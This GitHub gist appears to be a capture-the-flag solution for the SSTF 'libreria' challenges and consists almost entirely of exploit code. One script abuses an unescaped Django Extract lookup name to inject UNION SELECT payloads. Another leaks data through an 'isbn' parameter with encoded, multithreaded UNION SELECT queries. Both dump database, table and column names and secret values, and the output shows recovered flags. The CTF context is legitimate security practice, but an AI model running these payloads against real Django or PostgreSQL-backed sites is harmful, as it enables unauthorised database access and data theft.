Skip to content

Instantly share code, notes, and snippets.

@l0vey0u
Last active August 26, 2023 04:36
Show Gist options
  • Save l0vey0u/055f1abd080c1c26d51fd5b373f5d13a to your computer and use it in GitHub Desktop.
Save l0vey0u/055f1abd080c1c26d51fd5b373f5d13a to your computer and use it in GitHub Desktop.

Revisions

  1. l0vey0u revised this gist Aug 26, 2023. 1 changed file with 0 additions and 32 deletions.
    32 changes: 0 additions & 32 deletions libreria-pro.py
    Original file line number Diff line number Diff line change
    @@ -1,35 +1,3 @@
    # https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/models/functions/datetime.py#L41-L75
    class Extract(TimezoneMixin, Transform):
    ...
    def __init__(self, expression, lookup_name=None, tzinfo=None, **extra):
    if self.lookup_name is None:
    self.lookup_name = lookup_name
    ...
    def as_sql(self, compiler, connection):
    ...
    elif isinstance(lhs_output_field, DateField):
    sql = connection.ops.date_extract_sql(self.lookup_name, sql)
    ...
    return sql, params

    # https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/backends/postgresql/operations.py#L49-L59
    def date_extract_sql(self, lookup_type, field_name):
    # https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-EXTRACT
    if lookup_type == "week_day":
    # For consistency across backends, we return Sunday=1, Saturday=7.
    return "EXTRACT('dow' FROM %s) + 1" % field_name
    elif lookup_type == "iso_week_day":
    return "EXTRACT('isodow' FROM %s)" % field_name
    elif lookup_type == "iso_year":
    return "EXTRACT('isoyear' FROM %s)" % field_name
    else:
    return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)
    ```
    `Extract('pubdate', {search_with})` 는 `EXTRACT('{search_with}' FROM {field_name})`의 형태로 SQL query에 삽입되게 됩니다. 이때 `%` operator는 quote에 대해 별도의 escape 절차 없이 문자열에 삽입되기 때문에 sql injection에 취약하게 됩니다.
    Exploit은 EXTRACT 함수를 완성 이전 문제와 같이 union select를 통해 data leak을 하면 됩니다.

    ### PoC
    ```python
    import requests
    from bs4 import BeautifulSoup

  2. l0vey0u created this gist Aug 26, 2023.
    62 changes: 62 additions & 0 deletions libreria-pro.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,62 @@
    # https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/models/functions/datetime.py#L41-L75
    class Extract(TimezoneMixin, Transform):
    ...
    def __init__(self, expression, lookup_name=None, tzinfo=None, **extra):
    if self.lookup_name is None:
    self.lookup_name = lookup_name
    ...
    def as_sql(self, compiler, connection):
    ...
    elif isinstance(lhs_output_field, DateField):
    sql = connection.ops.date_extract_sql(self.lookup_name, sql)
    ...
    return sql, params

    # https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/backends/postgresql/operations.py#L49-L59
    def date_extract_sql(self, lookup_type, field_name):
    # https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-EXTRACT
    if lookup_type == "week_day":
    # For consistency across backends, we return Sunday=1, Saturday=7.
    return "EXTRACT('dow' FROM %s) + 1" % field_name
    elif lookup_type == "iso_week_day":
    return "EXTRACT('isodow' FROM %s)" % field_name
    elif lookup_type == "iso_year":
    return "EXTRACT('isoyear' FROM %s)" % field_name
    else:
    return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)
    ```
    `Extract('pubdate', {search_with})` 는 `EXTRACT('{search_with}' FROM {field_name})`의 형태로 SQL query에 삽입되게 됩니다. 이때 `%` operator는 quote에 대해 별도의 escape 절차 없이 문자열에 삽입되기 때문에 sql injection에 취약하게 됩니다.
    Exploit은 EXTRACT 함수를 완성 이전 문제와 같이 union select를 통해 data leak을 하면 됩니다.

    ### PoC
    ```python
    import requests
    from bs4 import BeautifulSoup

    URI = "http://libreriapro37657fd3.sstf.site"
    params = {
    "key": 2016,
    "search_with": "year",
    "currency":"krw"
    }


    def _request(params):
    resp = requests.get(URI, params=params)
    soup = BeautifulSoup(resp.text, 'html.parser')
    for td in soup.select('td'):
    if "None" not in td.get_text():
    return td.get_text()

    params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(datname,','), null, null, null, null, null, null, null, null from pg_database -- a"
    print(f"[database] {_request(params.copy())}")
    params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(table_name,','), null, null, null, null, null, null, null, null from information_schema.tables where table_schema like 'books' -- a"
    print(f"[table] {_request(params.copy())}")
    params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(column_name,','), null, null, null, null, null, null, null, null from information_schema.columns where table_name like 'impl_t0p5ecr3t' -- a"
    print(f"[columns] {_request(params.copy())}")
    params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(value,','), null, null, null, null, null, null, null, null from impl_t0p5ecr3t -- a"
    print(f"[impl_t0p5ecr3t][value] {_request(params.copy())}")
    # >> [database] postgres,template1,template0,books
    # >> [table] django_migrations,django_content_type,auth_permission,auth_group,auth_group_permissions,auth_user,auth_user_groups,auth_user_user_permissions,django_admin_log,impl_books,django_session,impl_t0p5ecr3t
    # >> [columns] id,key,value
    # >> [impl_t0p5ecr3t][value] Nice!,SCTF{L3ts_k3Ep_th3_veRs10n_0f_the_fr4mEwOrk_up_to_d4te}
    99 changes: 99 additions & 0 deletions libreria.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,99 @@
    import requests
    import string
    from functools import wraps
    from concurrent.futures import ThreadPoolExecutor
    import time
    URI = "http://libreria.sstf.site/rest.php"
    all_data = {}

    def long_to_bytes(longd):
    hexs = hex(longd)[2:]
    return ''.join([chr(int(hexs[i:i+2],16)) for i in range(0, len(hexs), 2)]).replace("\x00", "")

    def extract_int(result):
    return int(''.join(x for x in result if x.isdigit()))
    params = {
    "cmd": "requestbook",
    "isbn": ""
    }

    def _future_completed(future):
    """ Helper for run_in_executor() """
    exc = future.exception()
    if exc:
    print("Failed to run task on executor", exc_info=exc)

    executor = ThreadPoolExecutor()
    def run_in_executor(f):
    """
    A decorator to run the given method in the ThreadPoolExecutor.
    """

    @wraps(f)
    def new_f(*args, **kwargs):
    try:
    future = executor.submit(f, *args, **kwargs)
    future.add_done_callback(_future_completed)
    except Exception:
    print("Failed to submit task to executor")
    return new_f

    result = {}
    @run_in_executor
    def _request(params, req_id=0):
    resp = requests.get(URI, params=params)
    if "already" in resp.text:
    result[req_id] = extract_int(resp.text)
    else:
    print(resp.text)
    result[req_id] = -1

    def leak_data(query):
    global result
    # get data len
    # query example: select string_agg(datname, ',') from pg_database
    params['isbn'] = f"1' union select 1000000000+(select length(({query}))) -- a"
    _request(params)
    time.sleep(4)
    result_int = result[0]
    result = {}
    if result_int == -1:
    return
    result_int -= 1_000_000_000
    _round = result_int // 8
    for i in range(_round):
    params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from generate_series(1,length(string_agg), 8) for 8) from a group by string_agg limit 1 offset {i})c -- a"
    _request(params.copy(), i)
    if result_int % 8 != 0:
    rem = result_int%8
    params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from {result_int-rem+1} for {rem}) from a group by string_agg)c -- a"
    _request(params.copy(), _round)
    time.sleep(4)
    data = ''
    for i in range(_round):
    data += long_to_bytes(result[i])
    if result_int % 8 != 0:
    data += long_to_bytes(result[_round])
    result = {}
    return data

    import time
    start = time.time()
    print("[Database]")
    print(leak_data("select string_agg(datname, ',') from pg_database"))
    print("[Table]")
    print(leak_data("select string_agg(table_name, ',') from information_schema.tables where table_schema = 'books'"))
    print("[Column][adminonly]")
    print(leak_data("select string_agg(column_name, ',') from information_schema.columns where table_name = 'adminonly'"))
    print("[value][adminonly]")
    print(leak_data("select string_agg(value, ',') from adminonly where value ilike '%SCTF{%'"))
    print(f"duration = {time.time() - start:.2f}s")
    # >> [Database]
    # >> postgres,books,template1,template0
    # >> [Table]
    # >> adminonly,books,employee
    # >> [Column][adminonly]
    # >> idx,key,value
    # >> [value][adminonly]
    # >> SCTF{SQL_i5_4_l4n9uage_t0_man4G3_d4ta_1n_Da7aba$e5}
    # >> duration = 32.05s